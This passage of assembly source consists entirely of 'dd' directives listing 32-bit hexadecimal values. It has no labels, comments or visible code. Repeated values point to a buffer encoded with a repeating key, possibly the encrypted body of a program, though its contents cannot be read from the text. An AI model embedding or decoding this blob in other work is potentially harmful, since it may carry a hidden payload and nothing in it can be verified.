dd 3214A179h, 6B156644h, 321572CBh, 7240D111h, 0B00E5CA1h
dd 1CA1414Dh, 13285E76h, 0F7967D90h, 0C8FC8F77h, 34FC99BBh
dd 1B156622h, 0D7F4FA18h, 0FFA0EF79h, 0DB12865Fh, 32156636h
dd 468CCF5Fh, 35335378h, 5E68A432h, 71BF4C6Ah, 13BE2163h
dd 32118A09h, 269C6644h, 32058F06h, 85156611h, 77499854h
dd 52FEB744h, 926F61B8h, 0B71ABA2Bh, 3215669Ch, 321BE44Bh
dd 3BFC6622h, 0B7156611h, 0E3F944E9h, 0D90095FBh, 3295664Ah
dd 321C8F11h, 9B956688h, 110D20CFh, 5876476Dh, 23936911h
dd 0DB156688h, 32156648h, 88B4D4DEh, 0AEF5D280h, 218A2AA6h
dd 213CD3BBh, 547561C2h, 7EAB959Ah, 533B0A6Fh, 8D730624h
dd 8C732D55h, 537492A8h, 2A4CF377h, 0DA7561A4h, 3215662Ah
dd 1B747CFAh, 0D7FA93C1h, 321563ADh, 6D38F222h, 544E5904h
dd 0CD74A003h, 0B14F4270h, 3AFC62E6h, 93156611h, 9288BC21h
dd 0C7166643h, 177CEBA9h, 0B61A61F1h, 32156680h, 3217E64Bh
dd 53756622h, 61E9DD42h, 33D23FA9h, 895B8915h, 0B34E7F23h
dd 0F36DE420h, 303CA7B8h, 7CE657C5h, 60EC6F0Eh, 321562ABh
dd 0B9C46788h, 0F6944250h, 32156626h, 321572F8h, 733DA888h
dd 96AC2BFFh, 7319F700h, 4F8A7026h, 59B757EFh, 0BF9C9A51h
dd 35F5434Bh, 0F4A28FE4h, 0DBEC9977h, 32154A76h, 321575CBh
dd 9E0D4F11h, 493AB774h, 0E169C19Eh, 0F87BCCF5h, 0B567E5C3h
dd 0B9EC0670h, 0D2300FC9h, 321F8F25h, 9E6611h, 5E560D0h
dd 0B212463Bh, 369457DDh, 0A371E435h, 89463FCBh, 7EA464BBh
dd 4B7FADA3h, 0D1941CB1h, 22111AC8h, 21AB8DC5h, 0EB3CAA4Dh
dd 359C694Ah, 3D156688h, 321567C1h, 0BF9C9F22h, 35F2B3D9h
dd 3219E487h, 0B01A6644h, 32156624h, 3215EF1Eh, 0A946688h
dd 7E51320Ah, 32F9E32Dh, 54E06611h, 7E111E09h, 0ED90696Ah
dd 0DB156622h, 32156617h, 0D29A0BBDh, 38FCE7A5h, 6D156622h
dd 472B4B9Ch, 0AC6CA9E5h, 0F19C3508h, 0BBCDEF72h, 3D4E3ED7h
dd 3215730Ah, 3D946944h, 0DB156622h, 3215661Bh, 0D0F0AE8Ch
dd 5B903A7Ah, 8946840Fh, 32156617h, 2E9EB889h, 36D1E760h
dd 0DB156622h, 3215661Ah, 39AB6CB8h, 3C2A7288h, 0B9587FC0h
dd 0D20D7B94h, 2A97698Fh, 0DB156644h, 32156631h, 976AC4ECh
dd 0A0F7572Fh, 7F8A0000h, 74D839F7h, 52607F6Bh, 32156960h
dd 30D5E044h, 0CBC47880h, 91F3A4B8h, 45B45F7Bh, 1D56ACC5h
dd 524E080Eh, 0B00DD977h, 32157260h, 2BA66C44h, 0E1D91EFEh
dd 0E4BA39B6h, 0D2751735h, 3DD690CCh, 53743C8Bh, 321079F8h
dd 96A30688h, 321AE54Bh, 3BFD6622h, 38156611h, 0FC03B2A2h
dd 0AB67F325h, 0DE94077Dh, 32156615h, 0B3316201h, 20BB4270h
dd 0B34B2EC4h, 0D407C8E7h, 0B91A06C0h, 32156640h, 940BD944h
dd 321D8F71h, 0F4FD6688h, 74E83C9Ah, 4BAAD188h, 5377A8ACh
dd 0F2AA06E9h, 0DB12D440h, 3215662Eh, 3EE122C9h, 73224452h
dd 0E34F9C6Ch, 269E3643h, 36D1E535h, 32156861h, 0BE69D444h
dd 81AC942Eh, 0B3E36067h
dd 5269646Ah, 3211ED4Bh, 89736622h, 0E39F8CA9h, 52DC57E9h
dd 4F8D822h, 321568CBh, 0EEE80E11h, 296949B4h, 0BEA450B8h
dd 5346C311h, 32299ABDh, 334DE287h, 0B61A6644h, 32156623h
dd 3D385AEDh, 0CDEA810Ch, 1C299ABBh, 32ACE22Dh, 0EE06611h
dd 7B9769B8h, 3D156641h, 321576AAh, 321E8F11h, 0A5596688h
dd 0B951EB90h, 63E712F1h, 2492698Ah, 0DB156688h, 32156655h
dd 6289C4AAh, 0E36E1A1Eh, 0EFB96124h, 539E640Fh, 3D2C5A4Ah
dd 0CDEAFD97h, 0B71A9F77h, 32156645h, 3D545ADBh, 32119993h
dd 68299388h, 0CD97E04Bh, 0BC1A99DDh, 32156619h, 54FAECE8h
dd 53B5F8FBh, 32156ACBh, 5084C611h, 1FD8426Bh, 0ADDF0B3Ah
dd 3D4A5AA3h, 0CDEA3D95h, 53299377h, 36D3E44Bh, 0EEC6622h
dd 7B93696Bh, 3DEA9977h, 321571C7h, 32078F22h, 0C35F6611h
dd 8CE29549h, 0F92722AAh, 559E7E3Ch, 3625F66Eh, 368F8F71h
dd 64EC6644h, 3215679Ch, 6CE76711h, 3212EA87h, 3D756644h
dd 6C459D95h, 3DE75F70h, 32111D0Ch, 8F409E44h, 59DF7E3Eh
dd 46F0E754h, 0F31926A8h, 0D7946EA9h, 22FD3975h, 72148B90h
dd 0D8146680h, 3FFC0619h, 30156622h, 7387C78Bh, 7D7BCFF5h
dd 0AA00A806h, 3217E52Dh, 0EB9E6611h, 3FC57E9h, 77FC5789h
dd 0CA758FA5h, 0A53B92ABh, 23FC07ADh, 9E156644h, 8E022D52h
dd 0A2E4AD9Ah, 0F21D15DAh, 5C22CF30h, 0CDEBF9CBh, 0FB9093EEh
dd 361FE287h, 3D756644h, 321560A0h, 32906911h, 0DB156688h
dd 32156643h, 0CBD37BD9h, 53B90B51h, 3288D305h, 0B81A61A4h
dd 32156631h, 321568F8h, 547AD188h, 64A7DDC4h, 0DC3D13A9h
dd 60DCB79Fh, 0B3316A03h, 32156280h, 32068F22h, 0BDBF6611h
dd 159C866Fh, 0BA6F7970h, 3CBDE5B2h, 297BDB64h, 0E19C35DEh
dd 524E3917h, 3210E52Dh, 8AAC6611h, 8033B1DBh, 517D07BAh
dd 0BB15665Dh, 99A6420Dh, 0C195AD76h, 36F6A696h, 0F195ADDCh
dd 69CDEEBEh, 0CF60C870h, 0FA940024h, 53ED9EE9h, 0C29406EDh
dd 3F00BCEEh, 321560ADh, 61694122h, 53966F17h, 2352DDDBh
dd 0EB3C6355h, 0B3EC4F79h, 230421D0h, 32058F8Dh, 0CAD26644h
dd 54C88FE1h, 319EF297h, 85D6788Ch, 0E3E266EDh, 3214A7A3h
dd 3DFC6611h, 2E156688h, 11BDD86Dh, 8AD7753Dh, 4C4459CCh
dd 0F5944F21h, 5F472E3h, 8847A90Bh, 17813A8Fh, 0D894B47Fh
dd 909FE8FEh, 3D4FB10Bh, 32157290h, 321A8F88h, 5FA86644h
dd 0B308CA65h, 0A0BABDEEh, 0F8612DE7h, 6D433154h, 0B33152A9h
dd 321562D5h, 3E976988h, 3D156644h, 321560ACh, 32976911h
dd 0C1156688h, 85469AE0h, 0CD52A0BCh, 0CD62E612h, 0CD6A4E15h
dd 32138F1Fh, 0DBEC6622h, 91AB94EAh, 3288F305h, 3BFC61A4h
dd 4B156622h, 3A2DFFF4h, 34AA1867h, 12D4E3CFh, 0CE7561C2h
dd 6FCCE777h, 0F29007EAh, 3265E34Bh, 3DED6622h, 3215709Ch
dd 229E6988h, 0DB156644h, 32156629h, 4C8DAF82h, 1D1AFF9Ah
dd 0F45D0C4Dh, 0D2123FA7h, 0C7ED2116h, 0A8B2B4E0h, 3D750690h
dd 0B973B095h, 0CD7407C2h, 0D23C4B3Dh, 32128F43h, 28C36622h
dd 95641C7Fh, 0DA90EB15h, 5212853Bh, 3216EE2Dh, 0DC956611h
dd 0B21A3609h, 32156644h, 0E2EA077Dh, 321DEB1Eh, 0BC1A6688h
dd 32156646h, 1D7D0742h, 0BB15664Fh, 21FC429Ch, 39156644h
dd 0DEEDAC6Eh, 0BC3945D6h, 5643034Fh, 8B39A26Ah, 0E2EA6907h
dd 53D2EC71h, 3DD5E371h, 321581C1h, 321D8F22h, 70AC6611h
dd 6D9CAE00h, 0B79E7815h, 35F5794Fh, 3DD5E3E9h, 3215110Dh
dd 0B7D39A44h, 35F5617Bh, 0DE95065Dh, 3099694Fh, 60156644h
dd 3FFC0778h, 71156611h, 4E989AA0h, 2DDA05B5h, 7B7C3F0Dh
dd 0E8098F79h, 3E916951h, 3D156644h, 321560A2h, 329D6911h
dd 0CD156688h, 0D23C4BF1h, 32078F25h, 0B0226611h, 0C2286785h
dd 59C1D340h, 2E72F4F5h, 0D1E66BA5h, 4DFDE305h, 3CFC61A7h
dd 3B156622h, 0AEA6F9BDh, 46A974FBh, 0B98D4AB1h, 0CBC599C5h
dd 32655C79h, 1601EF88h, 0F2940024h, 0C746EF59h, 0E2EA0749h
dd 3214EB87h, 0DBE96644h, 32156625h, 42D00C75h, 0B76FF0C2h
dd 17906984h, 52156622h, 0EDA26971h, 2BFC07E9h, 0DB156645h
dd 32156636h, 680D7196h, 3DE5A8FFh, 8538BA58h, 4A4F8DC1h
dd 99FCEFBBh, 0E7DDE301h, 0B27561A3h, 0B61A8FFBh, 32156612h
dd 530F8108h, 321574ADh, 31C40E22h, 0AF9ED89Bh, 3BEE386Fh
dd 2DD1892Ah, 601AD4A8h, 0F0948498h, 3215668Ch, 0B5118CC7h
dd 0BB494236h, 3BFC4215h, 95156688h, 33CF6392h, 0B754ECEEh
dd 3219E61Eh, 0BA1A6688h, 32156642h, 3215E12Dh, 0BB456611h
dd 32116368h, 0DA966644h, 1611E126h, 1621EF4Dh, 32078FE8h
dd 9F686644h, 1A9B9C2h, 1ADEB244h, 1DB6A4DCh, 0A160FA99h
dd 5301A9A2h, 4925E39Ch, 0CDE9616Bh, 2B966994h, 52156622h
dd 321576F8h, 93D26C88h, 0BBE109F1h, 0C8EFAEE1h, 41A2DB05h
dd 5307D5D7h, 0B71AA64Fh, 32156613h, 321E8F71h, 0DF5E6688h
dd 1CE91542h, 407FBCEh, 379C696Eh, 88156688h, 12FA6C82h
dd 13FC9E43h, 0CA156611h, 32156E61h, 0A8B9E844h, 0CD326C89h
dd 1651EF70h, 8C430694h, 20B6FAA9h, 60D5E77Bh, 53157CD6h
dd 32138FE9h, 0D3FA6644h, 0C64B594h, 3D759AD2h, 32156500h
dd 0C39E0044h, 5BCBDE44h, 0DB750670h, 32156680h, 0A71453B9h
dd 1B884BB0h, 321D8F70h, 0A17C6688h, 0C90A5DFEh, 0BF9ED83Ah
dd 35F2B3D9h, 321DE387h, 0B91A6644h, 32156620h, 0BB420771h
dd 36D2E76Fh, 0B3156644h, 321562CDh, 1629E111h, 1611EFD4h
dd 3D7506B1h, 321566ABh, 32198F11h, 0C2BC6688h, 493C5514h
dd 7EEED52Eh, 5474D54Bh, 5362D431h, 32680D2Ch, 1609EF22h
dd 0EA9CAD98h, 3FFC06D3h, 0BB156644h, 0B7B775DDh, 0CB34230Eh
dd 167FDB51h, 82BA80C5h, 0CE7446FFh, 0BB118A92h, 0EAF429Ch
dd 33156644h, 681765E0h, 32048FE4h, 76056688h, 8F7715A8h
dd 2A0DE3C7h, 4F09D824h, 0CDCE0ADEh, 3215EEF4h, 1621E722h
dd 71F41D60h, 43AC37D2h, 356873Fh, 52E03FE8h, 3459DD77h
dd 0BB74893Bh, 0D21D93D1h, 0C7950625h, 32068F28h, 82156688h
dd 73BE4102h, 0AE27E1F6h, 6D5EDED1h, 163EDC2Bh, 8C430711h
dd 578147ADh, 0F31780D0h, 0C4946E66h, 79B42943h, 0E3E2A8A5h
dd 0DCD4A896h, 0C7D3E78Dh, 33EF3FFDh, 847538D2h, 321D8EC6h
dd 0A0596688h, 883D675Ah, 34FCAD60h, 5C156611h, 0E0EDA0Fh
dd 0CD7438B8h, 269E6A52h, 36D1E735h, 0CA156688h, 66CF3CDh
dd 0B9ED61C2h, 0BB474215h, 36D7E76Ah, 0B3156644h, 321562E0h
dd 1601E111h, 3A9D69D4h, 3D156644h, 321564A1h, 52740611h
dd 5475A33Eh, 63C380C5h, 3215EE2Dh, 53746611h, 16311277h
dd 0B13162CFh, 3FFC62E6h, 64156611h, 0BD785379h, 0E99487A4h
dd 0E20719FBh, 3219EE1Eh, 0B81A6688h, 32156642h, 3215E42Dh
dd 88476611h, 16B775B3h, 1B4FB66Dh, 212E63EAh, 9EC42B3h
dd 0D2211F0Dh, 4976943h, 0C7156622h, 3AE0E32Ah, 0B11A6168h
dd 3215666Dh, 53CDED42h, 18AA0670h, 0B2320EB0h, 0F0744C95h
dd 0BE1A6626h, 32156600h, 32156A61h, 0B7C8F44h, 1D1EA92Dh
dd 2B962904h, 0BE1A0784h, 32156648h, 3213EA2Dh, 0B41A6611h
dd 32156688h, 32316283h, 0CD1B0729h, 36944215h, 2120A5ACh
dd 1639E723h, 476126E6h, 321560F8h, 0CD377488h, 0F5C99CB6h
dd 0B0114266h, 60688877h
dd 0DC73E432h, 16415739h, 0B21A3C2Ah, 3215660Fh, 320DE587h
dd 21FC6644h, 0D5156622h, 4BF9EC88h, 0EF2E5645h, 0BE433BF4h
dd 5ADB99ECh, 604045A9h, 32156332h, 68C0EF44h, 0CB488EABh
dd 7CFDEB9Ch, 8A756168h, 0DBE40D9h, 53E8A7A2h, 3CFC87EEh
dd 58156688h, 0DDB5D3FCh, 0D55ADF04h, 28E9B931h, 0B11A0624h
dd 3215665Dh, 321572CBh, 8E3D6511h, 0DD7A10A2h, 91F527FBh
dd 48226327h, 0CEE98F61h, 32AF3489h, 33156644h, 32AE35D0h
dd 33156611h, 6916EC5Bh, 0DBE9061Eh, 3215662Eh, 0E2F53E2Dh
dd 9AE7D37Ah, 0F07E4703h, 3DFC5A43h, 32140595h, 0B3730688h
dd 54093E9Bh, 6A2DB1A3h, 3DFD5A70h, 3214190Ch, 0C99E0644h
dd 3D1A5A43h, 32155495h, 0FF299E88h, 33D5E24Bh, 3BFC6622h
dd 0B3156611h, 94378568h, 0DB388060h, 0B61A8D1Eh, 321567E1h
dd 0F1E90774h, 379C6924h, 54156622h, 82EF8F90h, 62747938h
dd 6E79DC16h, 5FAD7E33h, 30D774Dh, 0C2143C58h, 0CE4D7ECEh
dd 54178AA1h, 84317298h, 54E64678h, 54759F1Eh, 0DD698FA3h
dd 53C5D11Eh, 3D959D08h, 0CDEADEC1h, 73AE06DDh, 3D7CDD1Ch
dd 3215640Dh, 5368D244h, 1621E774h, 3EE515C8h, 0AAAD36D3h
dd 0C578544Dh, 0F3CD91FAh, 75D62F1h, 4B2C7A77h, 1B04C169h
dd 6AD657BFh, 219E6971h, 0DA156688h, 32156649h, 5F0CA498h
dd 87F39AFAh, 885B4806h, 6074396Ch, 3BBC0E72h, 174D3912h
dd 151A442Ch, 4C0BA769h, 50F66B08h, 0CB20333Fh, 0BBC8C86Bh
dd 0E1143E86h, 32138F78h, 0BA616611h, 197DE1D2h, 38C9E624h
dd 63749FA9h, 321564A8h, 31E46788h, 1619ED5Dh, 3211A2A3h
dd 0B91A6611h, 32156692h, 23FD9E24h, 0CE156622h, 0E4111D70h
dd 0ECF5407Ch, 0C0B9F88h, 0F4EBE0C2h, 0A9FC0748h, 52156688h
dd 68F3E722h, 98AD0063h, 0BA1A0772h, 32156698h, 32156DADh
dd 0B9BFC422h, 4D4AD158h, 0E28CABD0h, 0B91410BBh, 0F696423Eh
dd 0B9EC0615h, 0C996075Bh, 0F29169BFh, 52156622h, 32156AF9h
dd 0D478E488h, 0C0300C00h, 5D108B9Ah, 8D08D995h, 534D4166h
dd 0BBE5EF14h, 1611EDE1h, 3211A290h, 5AEC6688h, 32155765h
dd 8A3162ABh, 32156610h, 2A169689h, 8C439F1Ch, 32156627h
dd 4CCAA590h, 0C1143DE0h, 4CCA8DC5h, 524B3D4Ah, 321EE51Eh
dd 34FC6688h, 3B156644h, 7B8FBC36h, 6CFC0711h, 3DEA9976h
dd 321567CFh, 841A9A22h, 0B1E0674Fh, 0B61A4863h, 0CDEA980Dh
dd 321560CBh, 55B05911h, 525E7621h, 32156BACh, 0A0781022h
dd 17CD68C4h, 88FAE2B0h, 0B373709Bh, 69EDADEBh, 2AFC07E4h
dd 0DB156688h, 3215664Ch, 0DF0626BDh, 0EA11532Fh, 0CC141808h
dd 0CC12E34Bh, 0DBED99DDh, 0CDEA9AC0h, 32156A61h, 3269E44h
dd 240D8594h, 9A2AF8FBh, 3C380E22h, 69C6644h, 33976906h
dd 0CB156611h, 337C0E70h, 3E9C6644h, 0CC9F0606h, 6B990E70h
dd 2E9C6688h, 321E8F60h, 2876622h, 0CDBB8687h, 0C06C9D66h
dd 23C0EE0h, 0E9C6622h, 321B8F35h, 0D8016688h, 0FCB9E420h
dd 0DD426A7Dh, 0F391FCE6h, 23FCA6B9h, 0B1156644h, 0CC00BA86h
dd 927E894Ah, 4EABF30Dh, 0AD1AEF5Ch, 321A8F8Eh, 84DF6611h
dd 4A1845FEh, 4F301173h, 0CD995B87h, 36F9E72Dh, 0BB156688h
dd 0F49D4250h, 524F95AAh, 320DE11Eh, 21FC6688h, 6D156644h
dd 19866EEEh, 0D84FCBAEh, 29325042h, 0D22765BDh, 0D19F8F48h
dd 61440070h, 0CB9D963Fh, 54DE461Fh, 0C9959A7Bh, 15916961h
dd 0DB15668Eh, 32156654h, 6EF29DBEh, 10F4C54Dh, 76F961E4h
dd 0C9F36CCCh, 3D1A5AD7h, 32144195h, 38996988h, 52156644h
dd 3215EC2Dh, 6C456611h, 3DFC5AE9h, 321EF2C0h, 269A6922h
dd 52156611h, 32156D61h, 0E1AC3444h, 0CB153B40h, 2465473Bh
dd 0E749C03h, 0F89169AFh, 0DB15662Dh, 32156603h, 18B7F06Ah
dd 5455CAF8h, 54A02861h, 2BBCA87Fh, 0D1293F32h, 31F3E24Bh
dd 0B91A6622h, 32156616h, 3214E687h, 0EE96644h, 0FC9169C0h
dd 0DB156601h, 32156680h, 70733733h, 3D070A1Dh, 6D3152EEh
dd 3211A209h, 38FC6644h, 14156622h, 4948B956h, 3D826B98h
dd 16219999h, 36D1E779h, 0DB156611h, 32156684h, 0FF9B74C1h
dd 2693805Dh, 22B69BA8h, 61316A03h, 0F19485CDh, 32156626h
dd 0B511A592h, 52494294h, 646AB7C5h, 0BF1A6D3Eh, 32156613h
dd 0B9749103h, 0BB424270h, 36D2E7C5h, 0B3156611h, 3215624Fh
dd 1629E144h, 3FFC067Eh, 0C156611h, 29B41312h, 78B689A7h
dd 3EDCD905h, 6A5073AEh, 0DBD607ABh, 3215664Ah, 0EA428995h
dd 0CF111E75h, 6D7627C8h, 3FFC620Fh, 93156622h, 6F98E921h
dd 6A946AD9h, 703C1E6Bh, 0E48DE3E5h, 321361F6h, 0BD1A6688h
dd 32156655h, 32156ACBh, 2E72F411h, 0D1E66B3Ch, 9B5AFDC3h
dd 3595696Ah, 3D156611h, 32156702h, 5A449F44h, 32156622h
dd 0B8E46748h, 54753F91h, 0B28107FCh, 52748BF2h, 4FB2A990h
dd 8B735114h, 6074576Ch, 0B21AD171h, 0CC9D99E6h, 68E646D3h
dd 321572ADh, 520ADC22h, 9F2F959Fh, 6069FEAFh, 66E6B6C3h
dd 0FF7ECCDh, 0B2EEE642h, 0CCC3E387h, 0B61A99BBh, 3215662Eh
dd 3213E11Eh, 0B21A6688h, 32156644h, 0CDEADF73h, 0FC1499EEh
dd 32078FD1h, 0E21B6644h, 727577D2h, 0FD711B9Bh, 0AEABD31Eh
dd 3F46E8h, 1CE3A9h, 0B11A61F1h, 32156689h, 0BB80EDB8h
dd 52128631h, 53C6ED77h, 1639E7DEh, 23181B1Fh, 69AB3079h
dd 33046B6Ch, 3CFC387Bh, 0E3156644h, 0EB7CAF20h, 444E119Ch
dd 1E665076h, 38AC06BAh, 541C759Bh, 0C419B890h, 347D33E9h
dd 6F156644h, 0DB488D23h, 32156603h, 0D881B1E5h, 0CEEB1AA0h
dd 7056DC29h, 0E78DA02Bh, 8B44CE74h, 32156646h, 3888A7A3h
dd 0C3141644h, 38888F09h, 2B161611h, 3EFC067Bh, 0CE156611h
dd 157D15BAh, 0DC4A8669h, 5344B039h, 320DE91Eh, 21FC6688h
dd 0FD156644h, 48DB47C2h, 0AFB0FBC0h, 0FC2ECD99h, 49585BA8h
dd 0EA2E5382h, 321FE41Eh, 9E96688h, 0D393699Eh, 0CEEA99DFh
dd 1A0D847h, 0C13C368Fh, 0B3EE4F1Ah, 3526D3E1h, 0EC9E0641h
dd 53CDEDEEh, 0BB118AC7h, 34A8420Eh, 1B156611h, 22FC3B63h
dd 3E156644h, 0A7758A61h, 4760D07Ah, 9226DFFAh, 5420A2B9h
dd 9973938Fh, 32156AF8h, 56119788h, 0BE568AB0h, 7C9D8E27h
dd 3CD57FDh, 0DBCD574Bh, 3215664Dh, 890D084Ah, 2A9D147Bh
dd 62E0CD4Dh, 1129DC16h, 72AD7CEEh, 1B0FAA32h, 0F4143C58h
dd 3D90691Ch, 0DB156622h, 3215661Bh, 6BECC76Bh, 131A4D07h
dd 38FCF281h, 3D156611h, 809C4343h, 95398CC8h, 1629EF0Ch
dd 91CCE771h, 5379B3B5h, 321575ADh, 70D20322h, 0C3C8A487h
dd 697B9BFAh, 22377BFBh, 7ACB22E8h, 3E311298h, 53DEEDE8h
dd 13F6E724h, 3D5F1885h, 32156692h, 879C0788h, 35F54599h
dd 321577CBh, 0BDA76C11h, 1C5EBF77h, 0D44BBE45h, 0BEE33DD5h
dd 0E9E327Fh, 0D09C34ACh, 3211A4C5h, 0F0946622h, 32156615h
dd 6E31720Fh, 339E69BDh, 0CB156622h, 693152EEh, 0DB11A20Bh
dd 32156648h, 0BE7C6413h, 6189F55Ah, 0DB6723AEh, 60316ACFh
dd 0F09484ABh, 32156615h, 3211A409h, 26926644h, 52EC3A06h
dd 32156BF8h, 4012388h, 14FFE87Dh, 23EBCD2Ch, 0F79FBB97h
dd 1621EDE9h, 0B3F4EF15h, 321562E3h, 36D4E511h, 6E316A0Fh
dd 321AE14Bh, 38FC6622h, 4E156611h, 41D17541h, 9177DFEh
dd 61BE0E25h, 69C6611h
dd 0B3F3EFACh, 32156282h, 36D3E522h, 6E315296h, 0ED7B8F71h
dd 37FC99BBh, 0CD156622h, 2837A9A1h, 0E48DE34Fh, 321761A3h
dd 0BD1A6622h, 32156606h, 32157461h, 0B5875144h, 0CD8F0EB2h
dd 0E321F72Bh, 0B3F2C0BFh, 5AB8E025h, 32155216h, 69315298h
dd 0E1A269E8h, 3D74A0CFh, 54756894h, 535EBCA9h, 3D959F08h
dd 3215E5C7h, 39916922h, 52156611h, 3215EC87h, 851A6644h
dd 0B3E907F0h, 491E27FAh, 65DE67B4h, 0CA4396FBh, 0F5942909h
dd 78E227Ah, 5FD1A909h, 0D5944149h, 65A701E0h, 5CFCA190h
dd 0DD941791h, 4E25AD2Eh, 0CA4A9D23h, 3214DC43h, 0E1146688h
dd 269A691Eh, 3D156622h, 3215689Bh, 321C8F88h, 91096644h
dd 0E5350903h, 0DB1A7C60h, 3215663Dh, 321575ADh, 87622122h
dd 60CF3A74h, 513980CDh, 1EB8571Ch, 7F71AD52h, 32178A90h
dd 0BB736688h, 0CDA54240h, 6A73A70Ah, 851A3571h, 9CA03878h
dd 0C5449F25h, 3E9E423Eh, 36D1E735h, 3D156688h, 321567C6h
dd 8D429A22h, 4D1F2260h, 8E9BA109h, 0CB34E6B1h, 0B1315AA9h
dd 20FC62D5h, 0E5156688h, 28BD2970h, 5F1389A2h, 0B01A50F3h
dd 0EF7DFFFDh, 0FFAA31ABh, 0B36CB347h, 6B19BEF6h, 0DD9421EFh
dd 2DDF67DBh, 1B4A9D0Bh, 18D6E7DAh, 0DB54E18Bh, 32156656h
dd 0EB8F2C3Eh, 2DE5A09h, 2A85B101h, 66632779h, 0B3753FA2h
dd 32CC14CAh, 0C5AC319Bh, 6D5D25E0h, 3B90ED43h, 52128623h
dd 83C4EDEEh, 0A79E0760h, 35F575ABh, 0EB9E0071h, 3217ED87h
dd 12A26644h, 9FA8E543h, 33128610h, 3652E287h, 35FC6644h
dd 0D5156622h, 1107FEACh, 0F12C59C1h, 3626E44Bh, 0DBED6622h
dd 3215661Ah, 9AA60D08h, 8A50E29Ah, 0BC92C34h, 4B9769C2h
dd 0CAEA9972h, 321172ADh, 0B7D29322h, 35F2B089h, 3215668Ah
dd 32128F24h, 64786622h, 315AF30Dh, 0C19E00A0h, 6A433625h
dd 3D4DA5ABh, 32157793h, 32198F88h, 544E6644h, 8DEBF786h
dd 457D8597h, 841A4644h, 339D694Ah, 0CB156622h, 37946971h
dd 54156688h, 2D8E96C5h, 0CB9507DEh, 4D966991h, 0DB156688h
dd 3215664Bh, 9EC7DBF3h, 0E7BFCAEFh, 88270B9Eh, 65A887C0h
dd 7172739Dh, 52FAE72Eh, 0C53021DEh, 65E2E793h, 0B30F8352h
dd 0CB6DFFF6h, 34F2A78Fh, 186E91C5h, 0C93C44CDh, 0B3DE674Eh
dd 0DB395D4Bh, 3E95695Eh, 3D156622h, 32156098h, 32926988h
dd 60156644h, 32156798h, 68C66711h, 32078FE8h, 0A9766644h
dd 119F8059h, 7ACFA50h, 0D7B7D5ADh, 8FB1A30h, 5314A4A2h
dd 3215F0F8h, 5A739E88h, 0BB732FDEh, 0CDA14226h, 6A738739h
dd 309869E8h, 0B9156644h, 3DFC35F1h, 2B156611h, 8229C9ADh
dd 82D90186h, 126EAB90h, 534E84F2h, 0F824B7B9h, 0E8E2B775h
dd 60E0B7A5h, 0B04669ABh, 61DFE784h, 0B3055F48h, 0DB6A09E0h
dd 2AB3016h, 0C57FA39Ah, 5D3E792h, 33A5EE67h, 0E0E238E3h
dd 0B3178C49h, 0A8101386h, 68C447F8h, 0C39E0071h, 0CE747A3Ch
dd 6A0E8DC5h, 0D9941CF7h, 5DAE5AD4h, 0F194ADA1h, 5DAE5A81h
dd 6A0EA5A3h, 8B751CC4h, 60F0A21h, 0B97491CFh, 0D2276FA7h
dd 32188F16h, 0BBAB6688h, 0E5CAA7E1h, 669C1934h, 0B99E11ACh
dd 0D206EF1Dh, 8F969F43h, 35F5678Fh, 48916910h, 0DB15668Ah
dd 3215664Fh, 0D7599AFBh, 4197B36Fh, 9A86230h, 3C97699Ch
dd 0CE156622h, 0B41AB528h, 0CDEA9E30h, 0AAFCE624h, 36963043h
dd 3D4B9935h, 32156804h, 0B11A0644h, 32156622h, 3215EB1Eh
dd 82746688h, 61286ADEh, 0EDE39C95h, 0EDE3A1EFh, 12258908h
dd 0E2E33DBCh, 0EAE3AEDCh, 98E0E215h, 3219E287h, 0BD1A6644h
dd 32156624h, 3215E51Eh, 88476688h, 32156644h, 89469423h
dd 32156611h, 399FB589h, 52753C1Fh, 0A718B8A3h, 0DFA51157h
dd 321C8FE9h, 0CDEE6644h, 40F106B7h, 5365E1A3h, 3216E387h
dd 0C7756644h, 36F9E543h, 87316A98h, 6BFDEE08h, 379F6924h
dd 88156622h, 341A7BA0h, 6074BE02h, 627376F2h, 0E2E396AAh
dd 6A73A099h, 0F2578808h, 0C49563A2h, 68E4468Dh, 3214E91Eh
dd 3AEC6688h, 2599698Ch, 3D156622h, 32157799h, 32198F88h
dd 35AF6644h, 55543A78h, 2B606494h, 0DBBFFE36h, 32156650h
dd 0E9ABBCA2h, 50C97D8Dh, 9CAF1AC8h, 0D28C1BB5h, 0C78FD829h
dd 0F92D847h, 0C494007Ch, 763F7BAEh, 1B4B9523h, 5FFEE7EAh
dd 5237B8A8h, 6CB5D313h, 0EE71B7A3h, 0B1741C2Fh, 3E9C6264h
dd 3211DF60h, 0F93C6622h, 32188F48h, 0BBD86688h, 0C6DFC6EEh
dd 6064F958h, 3CE2A3Bh, 3D65750h, 52BE9F9Ch, 205FA498h
dd 67420763h, 32156435h, 6FFAEF44h, 0CE4A9823h, 11C8D398h
dd 54756168h, 3D8B85FDh, 0F574969Dh, 0D214CB94h, 3215678Fh
dd 32198F44h, 0B6F96622h, 9AA2FB2h, 0A3727B2Ah, 0BB440F1Bh
dd 36D4E7C3h, 0B1156611h, 3E926249h, 1631ED60h, 0ECAD0642h
dd 0DB3FB776h, 32156686h, 4896FC50h, 0B2580616h, 44ED0249h
dd 5274DFA5h, 3215EC4Bh, 851A6622h, 0CD7407CAh, 0B34E42BCh
dd 32156280h, 8D1A0622h, 0CB749FDAh, 65316A03h, 0F59481CDh
dd 32156626h, 3211A190h, 0E926688h, 0BF1A3A60h, 32156623h
dd 0D09C34E4h, 3211A409h, 0F0966644h, 46EA3426h, 0BD4F6235h
dd 5249428Ch, 0DBBCB7C4h, 32156627h, 0A2B90AD0h, 8B7507CFh
dd 0D1A1025h, 53098CA2h, 0B3F3EF47h, 3215624Eh, 36D3E544h
dd 16619974h, 369A3815h, 0B61A3AACh, 3215664Ch, 3217EF2Dh
dd 53756611h, 0CDCCF961h, 32068FBBh, 0E5C96622h, 68CA28DCh
dd 0FC66FE4Ch, 37400C90h, 2524C4E5h, 33AD3603h, 1B156688h
dd 82E03E82h, 36F5A650h, 0EAE38EC1h, 0F22AD0DAh, 0D49565A2h
dd 3AFBA6CBh, 0C495B0E7h, 68E56EF4h, 36178E84h, 0DBBF938Fh
dd 3215661Eh, 79E63318h, 3CB7F48Ch, 332402CDh, 64D5AE68h
dd 0B3316203h, 32156280h, 0DA750622h, 32156605h, 198C503Ch
dd 84338479h, 31338F58h, 8B2F31A0h, 0EA654523h, 321C8F1Eh
dd 65016622h, 3DC5B5B6h, 5310CC74h, 0C8AA6914h, 0F310077Bh
dd 1B3B7822h, 0F3AA3170h, 1B3B7877h, 35FC39DAh, 36156611h
